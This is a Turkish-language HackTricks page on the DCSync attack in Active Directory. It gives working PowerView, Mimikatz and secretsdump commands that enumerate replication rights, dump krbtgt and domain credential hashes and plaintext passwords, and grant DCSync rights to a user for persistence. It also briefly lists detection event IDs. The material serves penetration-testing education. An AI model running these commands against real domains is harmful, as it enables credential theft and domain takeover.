DCSync

Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin. Bugün Erişim Alın:

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

DCSync

DCSync izni, alanın kendisi üzerinde bu izinlere sahip olmayı gerektirir: DS-Replication-Get-Changes, Replicating Directory Changes All ve Replicating Directory Changes In Filtered Set.

DCSync ile ilgili Önemli Notlar:

  • DCSync saldırısı, bir Alan Denetleyicisinin davranışını simüle eder ve diğer Alan Denetleyicilerinden bilgileri çoğaltmalarını ister; bu, Directory Replication Service Remote Protocol (MS-DRSR) kullanılarak yapılır. MS-DRSR, Active Directory'nin geçerli ve gerekli bir işlevi olduğundan, kapatılamaz veya devre dışı bırakılamaz.

  • Varsayılan olarak yalnızca Domain Admins, Enterprise Admins, Administrators ve Domain Controllers grupları gerekli ayrıcalıklara sahiptir.

  • Herhangi bir hesap parolası tersine çevrilebilir şifreleme ile saklanıyorsa, Mimikatz'ta parolayı düz metin olarak döndürmek için bir seçenek mevcuttur.

Enumeration

Bu izinlere kimin sahip olduğunu kontrol etmek için powerview kullanın:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

Yerel Olarak Sömürme

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Uzaktan Sömürü

secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking

-just-dc 3 dosya oluşturur:

  • biri NTLM hash'leri ile

  • biri Kerberos anahtarları ile

  • biri de tersine şifreleme etkin olan herhangi bir hesap için NTDS'den düz metin şifreleri ile. Tersine şifreleme ile kullanıcıları şu şekilde alabilirsiniz:

Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

Süreklilik

Eğer bir alan yöneticisiyseniz, bu izinleri powerview yardımıyla herhangi bir kullanıcıya verebilirsiniz:

Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose

Sonra, kullanıcının 3 ayrıcalığın doğru bir şekilde atanıp atanmadığını kontrol edebilirsiniz (ayrıcalıkların adlarını "ObjectType" alanında görebilmelisiniz) çıktıda arayarak:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}

Mitigation

  • Güvenlik Olayı ID 4662 (Nesne için Denetim Politikası etkin olmalıdır) – Bir nesne üzerinde bir işlem gerçekleştirildi

  • Güvenlik Olayı ID 5136 (Nesne için Denetim Politikası etkin olmalıdır) – Bir dizin hizmeti nesnesi değiştirildi

  • Güvenlik Olayı ID 4670 (Nesne için Denetim Politikası etkin olmalıdır) – Bir nesne üzerindeki izinler değiştirildi

  • AD ACL Tarayıcı - ACL'lerin raporlarını oluşturun ve karşılaştırın. https://github.com/canix1/ADACLScanner

References

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Last updated